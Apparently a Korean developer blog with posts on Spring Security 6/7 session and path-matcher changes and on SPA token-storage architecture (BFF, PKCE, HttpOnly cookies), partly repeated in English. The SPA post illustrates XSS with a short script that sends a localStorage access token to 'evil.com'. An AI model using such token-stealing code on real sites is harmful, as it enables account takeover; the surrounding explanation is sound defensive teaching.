codinglog

Spring Security 6에서 인증 정보가 세션에 저장되지 않는 문제

Thu, 29 Jan 2026 16:50:00 +0900

Spring Security 6에서 인증 정보가 세션에 저장되지 않는 문제

API에서 직접 로그인 로직을 구현했는데, 인증은 성공하지만 다음 요청에서 인증 정보가 사라지는 경험을 해보셨나요? 이번 포스트에서는 이 문제의 원인과 해결 방법을 정리해보겠습니다.

문제 상황

API에서 직접 로그인 로직을 구현했고, 인증도 성공했습니다. 그런데 다음 요청에서 인증 정보가 사라져버렸습니다.

콘솔에는 다음과 같은 로그가 찍힙니다.

Did not find SecurityContext in HttpSession ... using the SPRING_SECURITY_CONTEXT session attribute

즉, HttpSession 안에서 SecurityContext를 찾지 못한다는 의미입니다.

원인: Spring Security 6의 기본 동작 변경

Spring Security 6(Spring Boot 3.x)부터는 SecurityContext 자동 저장이 기본적으로 꺼져 있습니다.

정확히 말하면 requireExplicitSave 기본값이 활성화되어, 개발자가 명시적으로 저장하지 않으면 세션에 남지 않습니다. 이전 버전처럼 SecurityContextHolder에만 넣으면 세션에는 저장되지 않습니다.

이는 Spring Security의 보안 및 성능 개선을 위한 의도적인 변경 사항입니다.

formLogin은 왜 문제없을까?

그런데 formLogin을 사용하면 이런 문제가 발생하지 않습니다. 왜 그럴까요?

formLogin을 사용하면 내부 필터들이 다음 단계를 모두 수행하기 때문입니다.

UsernamePasswordAuthenticationFilter가 인증 처리
성공 시 SecurityContext 생성
SecurityContextPersistenceFilter가 HttpSession에 저장

즉, formLogin은 인증 이후 세션 저장까지 프레임워크가 자동으로 처리해줍니다.

수동 로그인에서 해결 방법

직접 로그인 로직을 구현한 경우에는 명시적 저장이 필요합니다.

핵심은 다음 한 줄입니다.

securityContextRepository.saveContext(context, request, response);

이걸 호출해야 SPRING_SECURITY_CONTEXT가 세션에 들어갑니다.

전체 코드 예시

@RestController
@RequestMapping("/api/auth")
public class AuthController {

    private final AuthenticationManager authenticationManager;
    private final SecurityContextRepository securityContextRepository;

    public AuthController(
            AuthenticationManager authenticationManager,
            SecurityContextRepository securityContextRepository) {
        this.authenticationManager = authenticationManager;
        this.securityContextRepository = securityContextRepository;
    }

    @PostMapping("/login")
    public ResponseEntity<?> login(
            @RequestBody LoginRequest loginRequest,
            HttpServletRequest request,
            HttpServletResponse response) {
        
        // 1. 인증 수행
        UsernamePasswordAuthenticationToken token = 
            new UsernamePasswordAuthenticationToken(
                loginRequest.getUsername(), 
                loginRequest.getPassword()
            );
        
        Authentication authentication = authenticationManager.authenticate(token);
        
        // 2. SecurityContext 생성 및 설정
        SecurityContext context = SecurityContextHolder.createEmptyContext();
        context.setAuthentication(authentication);
        SecurityContextHolder.setContext(context);
        
        // 3. 세션에 명시적으로 저장 (핵심!)
        securityContextRepository.saveContext(context, request, response);
        
        return ResponseEntity.ok("로그인 성공");
    }
}

SecurityContextRepository 빈 설정

SecurityContextRepository를 주입받으려면 다음과 같이 빈으로 등록해야 합니다.

@Configuration
@EnableWebSecurity
public class SecurityConfig {

    @Bean
    public SecurityContextRepository securityContextRepository() {
        return new HttpSessionSecurityContextRepository();
    }

    // ... 나머지 Security 설정
}

정리

핵심 내용을 정리하면 다음과 같습니다.

Spring Security 6부터는 SecurityContext가 자동으로 세션에 저장되지 않습니다
formLogin은 내부 필터에서 자동 저장하지만, 수동 로그인은 직접 저장해야 합니다
해결은 SecurityContextRepository.saveContext(...) 호출입니다

추가 체크 포인트

인증 정보가 세션에 제대로 저장되더라도 다음 사항들을 확인해야 합니다.

1. 쿠키 전송 확인

클라이언트는 반드시 JSESSIONID 쿠키를 다음 요청에 포함해야 합니다.

브라우저는 기본적으로 쿠키를 자동으로 포함하지만, Postman이나 axios 같은 클라이언트를 사용할 때는 명시적으로 쿠키 전송을 설정해야 합니다.

// axios 예시
axios.post('/api/auth/login', credentials, {
    withCredentials: true  // 쿠키 포함
});

2. 세션 저장소

기본 세션 저장소는 서버 메모리(톰캣 세션)입니다.

이는 다음과 같은 한계가 있습니다.

서버 재시작 시 세션 소멸
다중 서버 환경에서 세션 공유 불가

3. 분산 환경 고려

분산 환경이라면 Spring Session + Redis 같은 외부 세션 저장소를 고려해야 합니다.

<!-- pom.xml -->
<dependency>
    <groupId>org.springframework.session</groupId>
    <artifactId>spring-session-data-redis</artifactId>
</dependency>

# application.yml
spring:
  session:
    store-type: redis

이렇게 하면 여러 서버 인스턴스 간에 세션을 공유할 수 있습니다.

마무리

Spring Security 6의 변경사항은 명시적 보안 관리를 권장하는 방향입니다. 처음에는 불편할 수 있지만, 이를 통해 개발자가 세션 관리를 더 명확하게 제어할 수 있게 되었습니다.

수동 로그인을 구현할 때는 반드시 SecurityContextRepository.saveContext()를 호출하는 것을 잊지 마세요!

Spring Security 7.0 경로 매칭 변경 사항 정리

Thu, 29 Jan 2026 16:40:00 +0900

Spring Security 7.0 경로 매칭 변경 사항 정리

Spring Security 7.0으로 업그레이드하면서 기존 코드가 동작하지 않아 당황하셨나요? 바로 경로 매칭 방식이 변경되었기 때문입니다. 이번 포스트에서는 무엇이 바뀌었고, 어떻게 수정해야 하는지 정리해보겠습니다.

무엇이 바뀌었나?

Spring Security 7.0부터는 URL 매칭 방식에 큰 변화가 있었습니다. 기존에 사용하던 AntPathRequestMatcher와 MvcRequestMatcher가 제거되고, PathPatternRequestMatcher로 대체되었습니다.

제거된 Matcher

AntPathRequestMatcher
MvcRequestMatcher

새롭게 추가된 Matcher

PathPatternRequestMatcher

왜 바뀌었을까?

이러한 변경에는 몇 가지 이유가 있습니다.

첫째, Spring Framework 5.3부터 도입된 PathPatternParser 기반으로 URL 매칭 성능을 최적화하기 위함입니다. 기존 Ant 방식보다 더 빠르고 효율적인 매칭이 가능해졌습니다.

둘째, URL 패턴 문법을 통일하고 더 명확하게 처리하기 위해서입니다. 이제 Spring Security는 기본적으로 PathPatternRequestMatcher 방식으로 경로를 매칭합니다.

코드 수정 방법

그렇다면 기존 코드를 어떻게 수정해야 할까요? 두 가지 방법이 있습니다.

방법 A: PathPatternRequestMatcher 사용 (권장)

가장 명시적이고 공식적인 방식입니다.

import org.springframework.security.web.servlet.util.matcher.PathPatternRequestMatcher;

@Bean
@Order(20)
public SecurityFilterChain apiAdminSecurityFilterChain(HttpSecurity http) throws Exception {
    http
        // 수정됨: AntPathRequestMatcher → PathPatternRequestMatcher
        .securityMatcher(PathPatternRequestMatcher.pathPattern("/api/**"))
        
        .csrf(AbstractHttpConfigurer::disable)
        .cors(Customizer.withDefaults());
        // ... (나머지 설정 동일)

    return http.build();
}

방법 B: 문자열 패턴 직접 사용 (더 간결)

HttpSecurity.securityMatcher(String... patterns)는 내부적으로 PathPatternRequestMatcher를 사용하도록 변경되었습니다. 따라서 객체를 직접 생성하지 않고 문자열만 넘겨도 됩니다.

@Bean
@Order(20)
public SecurityFilterChain apiAdminSecurityFilterChain(HttpSecurity http) throws Exception {
    http
        // 수정됨: 문자열 패턴 전달 (내부적으로 PathPatternRequestMatcher 사용)
        .securityMatcher("/api/**")
        
        .csrf(AbstractHttpConfigurer::disable);
        // ...

    return http.build();
}

/api/**처럼 단순한 패턴은 방법 B가 가장 깔끔합니다.

PathPattern 문법 주의사항

PathPattern은 Ant 스타일과 유사하지만 문법이 더 엄격합니다. 특히 ** (이중 와일드카드) 사용 시 주의해야 합니다.

`**` 규칙

이중 와일드카드는 반드시 패턴의 맨 끝에서만 사용 가능합니다.

패턴	가능 여부
`/api/**`	✅ 가능
`/api/**/details`	❌ 불가능

만약 /api/**/details 같은 중간 와일드카드가 필요하다면 RegexRequestMatcher 사용을 고려해야 합니다.

정리

Spring Security 7.0으로 업그레이드할 때 기억해야 할 핵심 사항은 다음과 같습니다.

AntPathRequestMatcher는 더 이상 사용할 수 없습니다
PathPatternRequestMatcher가 공식 대체 방식입니다
단순 패턴(/api/**)은 문자열 방식이 가장 간단하고 권장됩니다
**는 패턴의 맨 끝에서만 사용 가능하므로 주의가 필요합니다

마이그레이션 과정에서 이 내용을 참고하시면 큰 어려움 없이 업그레이드하실 수 있을 것입니다.

SPA 보안 아키텍처 | 토큰을 브라우저에 두지 말아야 하는 이유 🔐

Thu, 22 Jan 2026 11:00:00 +0900

SPA(Single Page Application) 개발하면서 “토큰을 LocalStorage에 저장할까, 쿠키에 저장할까?” 고민해보신 적 있으신가요? 아니면 “PKCE가 뭔데 꼭 써야 하나?” 싶으셨다면, 이 글이 답입니다. 2026년 현재, 웹 보안의 가장 뜨거운 감자인 SPA 인증/인가 문제를 한 방에 정리했습니다.

—

왜 SPA는 보안이 어려운가?

신뢰 경계가 무너졌다

전통적인 웹 애플리케이션은 간단했습니다. 서버가 HTML을 렌더링하고, 브라우저는 그냥 보여주기만 하면 됐죠. 세션 정보는 서버 메모리에 안전하게 보관되고, 클라이언트는 단순한 세션 ID 쿠키만 들고 있으면 됐습니다.

그런데 SPA는 다릅니다. 비즈니스 로직이 브라우저로 넘어왔고, 상태 관리도 클라이언트에서 합니다. React나 Vue로 화려한 UI를 만들 수 있게 됐지만, 보안 관점에서는 재앙이었습니다. 브라우저라는 신뢰할 수 없는 환경에 민감한 인증 토큰을 보관해야 하는 상황이 된 겁니다.

퍼블릭 클라이언트의 딜레마

OAuth 2.0 표준은 클라이언트를 두 가지로 분류합니다.

기밀 클라이언트(Confidential Client): 서버에서 실행되는 애플리케이션입니다. client_secret을 안전하게 보관할 수 있죠. 예를 들어 Node.js 백엔드나 Spring Boot 서버가 여기 해당합니다.

퍼블릭 클라이언트(Public Client): 사용자 디바이스에서 실행되는 애플리케이션입니다. SPA, 모바일 앱, 데스크톱 앱이 여기 속합니다. 코드가 사용자에게 노출되므로 비밀키를 가질 수 없습니다.

SPA는 JavaScript 코드가 브라우저에서 그대로 실행되므로 태생적으로 퍼블릭 클라이언트입니다. 개발자 도구만 열면 모든 코드가 보이는데, 여기에 client_secret을 하드코딩한다? 그건 GitHub에 비밀번호 커밋하는 것과 다를 바 없습니다.

퍼블릭 클라이언트가 직면한 위협들

1. 클라이언트 사칭 (Client Impersonation)

기밀 클라이언트는 client_secret으로 자신의 신원을 증명합니다. 하지만 퍼블릭 클라이언트는 이게 불가능합니다. 만약 실수로 SPA 코드에 client_secret을 포함했다면? 공격자는 개발자 도구로 이를 추출해서 정상 앱인 척 사칭할 수 있습니다.

이게 왜 문제냐면, 공격자가 사용자 데이터를 낚아채거나(피싱), 부정한 토큰을 마음대로 발급받을 수 있기 때문입니다. 그래서 IETF와 OWASP는 퍼블릭 클라이언트에서 Client Credentials Grant 방식을 절대 사용하지 말라고 못 박고 있습니다.

2. 암시적 흐름(Implicit Flow)의 몰락

과거 SPA 개발 초기에는 Implicit Flow가 인기였습니다. 인증 코드 교환 단계를 생략하고, URL 해시(#)에 토큰을 바로 담아 전달하는 방식이었죠.

https://myapp.com/callback#access_token=eyJhbG...

간단해 보이지만 치명적인 결함이 있었습니다:

토큰 유출: URL에 포함된 토큰은 브라우저 히스토리, 프록시 로그, Referer 헤더를 통해 제3자에게 노출됩니다
재발급 불가: 보안상 리프레시 토큰을 주지 않으므로, 액세스 토큰 만료 시마다 재인증이 필요합니다
서드파티 쿠키 차단: iframe을 이용한 사일런트 갱신이 ITP(Intelligent Tracking Prevention) 정책으로 막혔습니다

그래서 2026년 현재, Implicit Flow는 완전히 퇴출되었습니다. OAuth 2.1 표준에서 아예 삭제됐죠.

3. XSS: 가장 무서운 적

퍼블릭 클라이언트의 최대 위협은 XSS(Cross-Site Scripting) 공격입니다. SPA는 수많은 npm 패키지와 CDN 스크립트에 의존합니다. 이 중 하나만 감염되거나 코드에 취약점이 있으면, 공격자는 악성 스크립트를 실행해서 토큰을 탈취할 수 있습니다.

// 공격자의 악성 스크립트
const token = localStorage.getItem('access_token');
fetch('https://evil.com/steal', {
  method: 'POST',
  body: JSON.stringify({ token })
});

서버 사이드 세션과 달리, JWT 같은 토큰은 그 자체로 권한을 가지고 있습니다. 탈취되는 순간 공격자는 사용자인 척 모든 API를 마음대로 호출할 수 있습니다.

해결책 1: PKCE 기반 Authorization Code Flow

별도 백엔드 없이 S3나 CDN에 정적 호스팅하는 SPA라면, 브라우저 단독으로 인증을 처리해야 합니다. 이때의 유일한 표준은 PKCE(Proof Key for Code Exchange)가 적용된 Authorization Code Flow입니다.

PKCE가 뭔데?

PKCE(발음: 피씨)는 원래 모바일 앱을 위해 만들어졌지만, 지금은 모든 퍼블릭 클라이언트의 표준입니다. 핵심은 동적 비밀을 만들어 인증 코드를 보호하는 겁니다.

동작 과정

Code Verifier 생성: 클라이언트가 암호학적으로 안전한 난수를 생성합니다
```
const codeVerifier = generateRandomString(128);
```
Code Challenge 도출: Verifier를 SHA-256으로 해싱합니다
```
const codeChallenge = base64url(sha256(codeVerifier));
```

인증 요청: Challenge를 인증 서버로 보냅니다

/authorize?code_challenge=E9M...&code_challenge_method=S256

토큰 교환: 인증 코드를 받은 후, 원본 Verifier를 함께 보냅니다
```
/token?code=abc123&code_verifier=원본난수
```
검증: 서버가 Verifier를 해싱해서 처음 받은 Challenge와 비교합니다

왜 안전한가?

공격자가 리다이렉트 과정에서 인증 코드를 가로챈다고 해도 소용없습니다. 토큰으로 교환하려면 원본 code_verifier가 필요한데, 이건 해시의 역상 저항성 때문에 복원이 불가능합니다. 공격자는 코드를 가졌어도 토큰을 못 받는 겁니다.

PKCE의 한계와 리프레시 토큰 로테이션

PKCE는 인증 코드를 보호하지만, 결국 발급받은 토큰은 브라우저에 저장해야 합니다. XSS 공격 위험은 여전히 존재하죠. 이를 보완하기 위해 리프레시 토큰 로테이션(Refresh Token Rotation)이 필수입니다.

작동 방식:

리프레시 토큰을 일회용으로 만듭니다
액세스 토큰 갱신할 때마다 새 리프레시 토큰을 발급하고, 이전 토큰은 즉시 폐기합니다
만약 이미 사용된 토큰으로 갱신을 시도하면? 서버는 “토큰이 탈취됐다!”고 판단하고 해당 토큰 계열을 모두 무효화합니다

공격자뿐만 아니라 정상 사용자도 로그아웃되지만, 공격의 지속성을 차단하는 강력한 방어책입니다.

해결책 2: BFF (Backend for Frontend) 패턴

IETF와 보안 전문가들이 강력하게 권장하는 최상의 아키텍처입니다. 철학은 단순합니다:

“브라우저에는 토큰을 두지 않는다(No Tokens in the Browser)”

BFF 아키텍처 이해하기

BFF는 SPA와 API 서버 사이에 전용 백엔드를 배치합니다. 이 백엔드는 Node.js, .NET, Java 등으로 구현된 경량 서버일 수도 있고, API 게이트웨이 플러그인일 수도 있습니다.

[Browser] ←→ [BFF] ←→ [Auth Server]
             ↓
         [API Server]

동작 흐름

기밀 클라이언트 전환: BFF는 서버 환경에서 동작하므로 client_secret을 안전하게 관리할 수 있습니다
토큰의 은닉: 사용자가 로그인하면, BFF가 인증 서버와 통신해서 토큰을 받습니다. 중요한 건 이 토큰들이 절대 브라우저로 전송되지 않는다는 겁니다. 토큰은 BFF의 메모리, Redis, 또는 암호화된 쿠키에만 저장됩니다.
세션 쿠키 발급: BFF는 SPA에게 토큰 대신, HttpOnly, Secure, SameSite 속성이 적용된 세션 쿠키를 줍니다. 이 쿠키는 단순 식별자일 뿐이며, JWT payload 같은 건 없습니다.
프록시 역할: SPA가 API를 호출할 때 쿠키를 BFF로 보내면, BFF가 쿠키를 검증하고 실제 액세스 토큰을 찾아 API 요청의 Authorization 헤더에 주입해서 전달합니다.

BFF의 보안적 우위

XSS 완전 방어

브라우저에는 JavaScript가 읽을 수 없는 HttpOnly 쿠키만 있습니다. XSS 공격자가 악성 스크립트를 실행해도 토큰 자체를 훔칠 수 없습니다. 기껏해야 사용자 세션으로 요청을 보내는 정도인데, 이건 CSRF 방어로 막을 수 있습니다.

액세스 제어 중앙화

BFF에서 API 응답을 필터링하거나, 여러 마이크로서비스 데이터를 집계해서 프론트엔드에 전달할 수 있습니다. Over-fetching 문제도 해결되고 프론트엔드 로직도 단순해집니다.

복잡성 격리

토큰 갱신, 에러 처리, 로그아웃 같은 복잡한 인증 로직을 백엔드로 격리시켜서 SPA 코드를 비즈니스 로직에만 집중시킬 수 있습니다.

토큰 핸들러 패턴: BFF의 경량 버전

BFF 패턴의 구현체 중 하나로, 전체 API를 중계하는 대신 보안 기능에만 특화된 토큰 핸들러 패턴도 있습니다. Curity 같은 곳에서 제안하는 방식이죠.

구성 요소:

OAuth Agent: 토큰 발급, 갱신, 쿠키 발행만 담당
OAuth Proxy: API 게이트웨이 레벨에서 쿠키를 검증하고 토큰으로 교환

이점: SPA를 CDN에 정적 배포하면서도, API 게이트웨이만 활용해 BFF의 보안 이점을 누릴 수 있습니다. 별도의 BFF 서버 코드 작성 없이 인프라 설정만으로 보안을 강화할 수 있죠.

—

SPA 개발자들 사이에서 영원한 논쟁거리입니다. “토큰을 어디에 저장할까?” 이 문제는 XSS와 CSRF라는 두 공격 벡터 사이의 트레이드오프를 포함합니다.

비교표로 보는 장단점

저장 방식	XSS 취약성	CSRF 취약성	영속성	특징
LocalStorage / SessionStorage	매우 높음 ⚠️	낮음 ✅	브라우저 종료 시까지	JS로 즉시 접근 가능. XSS 시 즉시 탈취됨. 비권장
인메모리 (JS 변수)	높음 ⚠️	낮음 ✅	페이지 리로드 시 소멸	디스크에 안 남지만 XSS로 메모리 덤프 가능. 새로고침마다 재로그인
HttpOnly Cookie	낮음 ✅	높음 ⚠️	만료 설정에 따름	JS 접근 차단. XSS로 토큰 자체는 못 훔침. 권장

XSS vs CSRF: 무엇이 더 위험한가?

많은 개발자가 “쿠키는 CSRF에 취약하니까 LocalStorage가 낫다”고 오해합니다. 하지만 보안 전문가들의 견해는 정반대입니다.

XSS의 파괴력:

토큰이 탈취되면 공격자는 사용자 개입 없이 언제 어디서나 API를 호출하고 계정을 탈취할 수 있습니다
방어가 사실상 불가능합니다

CSRF의 방어 가능성:

사용자가 브라우저를 켜고 있을 때만 공격이 가능합니다
SameSite 쿠키 정책과 Anti-CSRF 토큰으로 기술적으로 완벽에 가깝게 방어할 수 있습니다

결론: 방어 기제가 존재하는 CSRF 위험을 감수하더라도, 방어 불가능한 토큰 탈취(XSS)를 막기 위해 HttpOnly 쿠키를 써야 합니다. 이게 BFF 패턴의 핵심 철학입니다.

브라우저의 미래: CHIPS

서드파티 쿠키 차단 정책은 iframe에 임베딩되는 SPA(채팅 위젯, 결제 모듈 등)의 인증 유지에 큰 걸림돌이었습니다. 이를 해결하기 위해 구글 등 브라우저 벤더들이 CHIPS (Cookies Having Independent Partitioned State) 기술을 도입했습니다.

작동 방식:

Set-Cookie: session=abc123; Partitioned; Secure; SameSite=None

Partitioned 속성을 추가하면, 쿠키가 최상위 사이트별로 격리된 저장소에 저장됩니다. A 사이트에 임베딩된 내 서비스의 쿠키는 B 사이트와 공유되지 않습니다. 서드파티 추적은 막으면서도, 임베디드 앱의 정상적인 세션 유지는 가능해지는 거죠.

권한 관리: 프론트엔드와 백엔드의 동기화

인증(Authentication)이 “이 사람이 누구냐”를 확인하는 거라면, 인가(Authorization)는 “이 사람이 뭘 할 수 있냐”를 결정하는 겁니다. SPA에서는 백엔드의 권한 로직과 프론트엔드 UI 상태를 동기화해야 하는 복잡한 과제가 있습니다.

RBAC를 넘어 Permission 중심으로

과거에는 단순히 role: 'admin' 같은 역할 정보를 프론트엔드에 전달했습니다. 하지만 비즈니스가 복잡해지면 한계에 봉착합니다.

예를 들어:

“매니저는 글을 수정할 수 있다” → 간단
“매니저는 자기 부서 글만 수정할 수 있다” → 역할 이름만으로는 표현 불가

그래서 최신 트렌드는 구체적인 권한(Permission) 목록을 JSON으로 전달하는 겁니다.

효율적인 권한 JSON 구조 (CASL 스타일)

JavaScript 진영에서 널리 쓰이는 CASL 라이브러리 호환 구조를 권장합니다:

{
  "user": {
    "id": "u123",
    "roles": ["editor"],
    "permissions": [
      {
        "action": "read",
        "subject": "Article"
      },
      {
        "action": "update",
        "subject": "Article",
        "conditions": {
          "authorId": "${user.id}",
          "status": "draft"
        }
      },
      {
        "action": "delete",
        "subject": "Comment",
        "inverted": true
      }
    ]
  }
}

해석:

모든 Article을 읽을 수 있다(read)
작성자가 본인이고 상태가 draft인 Article만 수정할 수 있다(update)
Comment는 절대 삭제할 수 없다(inverted: true → Deny 규칙)

동기화 전략

핵심 원칙: “보안은 서버에서, UX는 클라이언트에서”

API가 진실의 원천(Source of Truth): 실제 데이터 접근 제어는 반드시 API 서버에서 수행되어야 합니다. 프론트엔드 로직은 우회 가능하므로 절대 신뢰하면 안 됩니다.
동기화 메커니즘: 사용자가 로그인하거나 페이지를 로드할 때, /api/my-permissions 같은 엔드포인트를 호출해서 권한 JSON을 받아옵니다.
UI 제어: 받은 JSON을 Pinia(Vue)나 Context API(React) 같은 전역 상태 관리자에 저장합니다. 이후 커스텀 디렉티브나 컴포넌트로 UI를 제어합니다:

<!-- Vue 예시 -->
<button v-can="'update', post">글 수정</button>

// React 예시
<Can I="create" a="Project">
  <CreateButton />
</Can>

권한이 없는 사용자에게는 버튼을 숨기거나 비활성화 처리합니다. 하지만 기억하세요. 이건 UX일 뿐입니다. 진짜 보안은 백엔드에서!

결론 및 실전 권고안

2026년의 SPA 보안 환경은 이전보다 훨씬 정교한 아키텍처를 요구합니다. 브라우저의 제약은 강화되고, 공격 기법은 고도화되고 있죠.

핵심 요약

1. BFF 패턴 도입 (최우선 권장) 🏆

보안이 중요한 비즈니스 애플리케이션이라면, 토큰을 브라우저에서 완전히 제거하는 BFF 패턴을 도입하세요. XSS로 인한 계정 탈취를 원천 봉쇄할 수 있는 현재 유일하고도 가장 강력한 아키텍처입니다.

2. HttpOnly 쿠키 사용

토큰 저장소로는 LocalStorage 대신 HttpOnly, Secure, SameSite 속성이 적용된 쿠키를 사용하세요. 스크립트 접근을 차단하여 보안성을 극대화합니다.

3. PKCE 및 토큰 로테이션 (차선책)

BFF 도입이 불가능한 경우(Serverless 환경 등), PKCE 기반 Authorization Code Flow를 사용하되, 반드시 리프레시 토큰 로테이션과 재사용 감지 메커니즘을 구현하세요. 토큰 탈취 시 피해를 최소화할 수 있습니다.

4. 세밀한 권한 동기화

권한 관리는 단순 RBAC를 넘어, 조건(Condition)이 포함된 Permission JSON 구조로 프론트-백엔드를 동기화하세요. 단, 최종 권한 검사는 항상 백엔드 API에서!

미래 전망

웹 보안은 ‘제로 트러스트(Zero Trust)’ 원칙이 클라이언트단까지 확장될 겁니다. 브라우저는 점점 더 폐쇄적인 환경으로 변모하고(서드파티 쿠키의 완전한 종말), 파티션 쿠키(CHIPS)나 Storage Access API 같은 새로운 표준 기술의 습득이 필수가 될 겁니다.

또한 DPoP(Demonstrating Proof-of-Possession) 같이 토큰이 특정 클라이언트에 귀속되도록 강제하는 응용 계층 보안 프로토콜도 점차 보편화될 것으로 전망됩니다.

마무리하며

SPA 보안은 단순히 “어디에 토큰을 저장할까”를 넘어선 문제입니다. 아키텍처 설계부터 보안을 내재화(Security by Design)해야 합니다.

오랜만에 SPA 프로젝트를 시작하거나, 레거시 시스템의 보안을 개선해야 한다면 이 글을 북마크해두세요. 필요할 때 다시 읽어보면 도움이 될 겁니다! 🚀

부록: 빠른 참조표

저장소 선택 가이드

상황	권장 방식	이유
프로덕션 환경	BFF + HttpOnly Cookie	XSS 완전 방어
Serverless SPA	PKCE + 토큰 로테이션	백엔드 구축 불가 시 차선책
개발/테스트 환경	LocalStorage (임시)	편의성, 단 프로덕션 전 교체 필수
임베디드 위젯	CHIPS 활용	서드파티 쿠키 차단 우회

SPA Security Architecture | Why You Shouldn't Store Tokens in the Browser 🔐

Thu, 22 Jan 2026 11:00:00 +0900

SPA Security Architecture: Why You Shouldn’t Store Tokens in the Browser 🔐

Ever found yourself wondering “Should I store tokens in LocalStorage or cookies?” while building your SPA? Or thought “What’s PKCE and why do I need it?” If so, this article is your answer. We’ve compiled everything you need to know about SPA authentication and authorization—the hottest topic in web security as of 2025.

Why Is SPA Security So Hard?

The Trust Boundary Has Collapsed

Traditional web applications were simple. The server rendered HTML, and the browser just displayed it. Session information was safely stored in server memory, and the client only held a simple session ID cookie.

But SPAs are different. Business logic has moved to the browser, and state management happens on the client side. We can build gorgeous UIs with React or Vue, but from a security perspective, it’s been a disaster. We now have to store sensitive authentication tokens in an untrusted environment—the browser.

The Public Client Dilemma

The OAuth 2.0 standard classifies clients into two types:

Confidential Client: Applications running on servers. They can safely store client_secret. Think Node.js backends or Spring Boot servers.

Public Client: Applications running on user devices. SPAs, mobile apps, and desktop apps fall into this category. Since the code is exposed to users, they cannot keep secrets.

SPAs are inherently public clients because JavaScript code runs directly in the browser. Anyone can open the developer tools and see everything. Hardcoding client_secret in your code? That’s like committing your password to GitHub.

Threats Facing Public Clients

1. Client Impersonation

Confidential clients prove their identity with client_secret. But public clients can’t do this. If you accidentally include client_secret in your SPA code, attackers can extract it using developer tools and impersonate your legitimate app.

Why is this a problem? Attackers can phish user data or request unauthorized tokens at will. That’s why IETF and OWASP strictly prohibit using Client Credentials Grant with public clients.

2. The Fall of Implicit Flow

In the early days of SPA development, Implicit Flow was popular. It skipped the authorization code exchange step and delivered tokens directly in the URL hash fragment (#).

https://myapp.com/callback#access_token=eyJhbG...

Looks simple, but it had fatal flaws:

Token Leakage: Tokens in URLs are exposed through browser history, proxy logs, and Referer headers
No Refresh: For security reasons, refresh tokens weren’t issued, requiring re-authentication every time the access token expired
Third-Party Cookie Blocking: Silent renewal via iframes was blocked by ITP (Intelligent Tracking Prevention) policies

So as of 2025, Implicit Flow has been completely deprecated. It was removed from the OAuth 2.1 standard.

3. XSS: The Most Dangerous Enemy

The biggest threat to public clients is XSS (Cross-Site Scripting) attacks. SPAs depend on countless npm packages and CDN scripts. If even one gets infected or your code has vulnerabilities, attackers can execute malicious scripts to steal tokens.

// Attacker's malicious script
const token = localStorage.getItem('access_token');
fetch('https://evil.com/steal', {
  method: 'POST',
  body: JSON.stringify({ token })
});

Unlike server-side sessions, tokens like JWT carry authority themselves. Once stolen, attackers can call any API as if they were the user.

Solution 1: PKCE-based Authorization Code Flow

If you’re hosting your SPA statically on S3 or a CDN without a backend, you need to handle authentication in the browser alone. The only standard for this is the PKCE (Proof Key for Code Exchange) enabled Authorization Code Flow.

What Is PKCE?

PKCE (pronounced “pixie”) was originally designed for mobile apps but is now the standard for all public clients. The core concept is creating and verifying a dynamic secret.

How It Works

Generate Code Verifier: The client generates a cryptographically random string
```
const codeVerifier = generateRandomString(128);
```

Derive Code Challenge: Hash the verifier with SHA-256

const codeChallenge = base64url(sha256(codeVerifier));

Authentication Request: Send the challenge to the auth server

/authorize?code_challenge=E9M...&code_challenge_method=S256

Token Exchange: After receiving the authorization code, send the original verifier
```
/token?code=abc123&code_verifier=original_random_string
```
Verification: The server hashes the verifier and compares it with the initial challenge

Why Is This Secure?

Even if an attacker intercepts the authorization code during the redirect, it’s useless. To exchange it for tokens, they need the original code_verifier, which can’t be reconstructed due to the hash’s preimage resistance. Attackers have the code but can’t get the token.

PKCE’s Limitations and Refresh Token Rotation

PKCE protects the authorization code, but ultimately the issued tokens must be stored in the browser. The XSS risk still exists. To mitigate this, Refresh Token Rotation is essential.

How It Works:

Make refresh tokens single-use
Issue a new refresh token every time you refresh the access token, immediately revoking the previous one
If someone tries to refresh using an already-used (stolen) token, the server recognizes “Token theft!” and invalidates all tokens in that token family

This logs out both the attacker and the legitimate user, but it’s a powerful defense that blocks attack persistence.

Solution 2: BFF (Backend for Frontend) Pattern

The best architecture strongly recommended by IETF and security experts. The philosophy is simple:

“No Tokens in the Browser”

Understanding BFF Architecture

BFF places a dedicated backend between the SPA and API servers. This backend can be a lightweight server implemented in Node.js, .NET, or Java, or an API gateway plugin.

[Browser] ←→ [BFF] ←→ [Auth Server]
             ↓
         [API Server]

How It Works

Confidential Client Transformation: BFF runs in a server environment, so it can safely manage client_secret
Token Hiding: When users log in, the BFF communicates with the auth server to receive tokens. The important part is these tokens are never sent to the browser. Tokens are stored only in BFF’s memory, Redis, or encrypted cookies.
Session Cookie Issuance: The BFF gives the SPA a session cookie with HttpOnly, Secure, and SameSite attributes instead of tokens. This cookie is just an identifier, with no JWT payload or anything like that.
Proxy Role: When the SPA calls an API and sends the cookie to the BFF, the BFF validates the cookie, finds the actual access token, and injects it into the API request’s Authorization header before forwarding.

BFF’s Security Advantages

Complete XSS Defense

The browser only has an HttpOnly cookie that JavaScript can’t read. Even if XSS attackers execute malicious scripts, they cannot steal the token itself. At most they can make requests using the user’s session, but that’s preventable with CSRF defenses.

Centralized Access Control

The BFF can filter API responses or aggregate data from multiple microservices before delivering it to the frontend. This solves over-fetching problems and simplifies frontend logic.

Complexity Isolation

You can isolate complex authentication logic like token refresh, error handling, and logout to the backend, letting SPA code focus on business logic.

Token Handler Pattern: BFF Lite

One implementation of the BFF pattern, the token handler pattern specializes only in security features instead of relaying all APIs. It’s an approach proposed by companies like Curity.

Components:

OAuth Agent: Handles only token issuance, refresh, and cookie issuance
OAuth Proxy: Operates at the API gateway level to validate cookies and exchange them for tokens

Benefit: You can statically deploy your SPA to a CDN while leveraging API gateways to gain BFF’s security benefits. You can enhance security with just infrastructure configuration without writing separate BFF server code.

—

This is an eternal debate among SPA developers: “Where should I store tokens?” This issue involves a tradeoff between two attack vectors: XSS and CSRF.

Pros and Cons Comparison

Storage Method	XSS Vulnerability	CSRF Vulnerability	Persistence	Characteristics
LocalStorage / SessionStorage	Very High ⚠️	Low ✅	Until browser closes	Immediately accessible via JS. Instantly stolen on XSS. Not recommended
In-Memory (JS variables)	High ⚠️	Low ✅	Lost on page reload	Not stored on disk but memory dump possible via XSS. Re-login on every refresh
HttpOnly Cookie	Low ✅	High ⚠️	Based on expiry settings	JS access blocked. Can’t steal token itself via XSS. Recommended

XSS vs CSRF: Which Is More Dangerous?

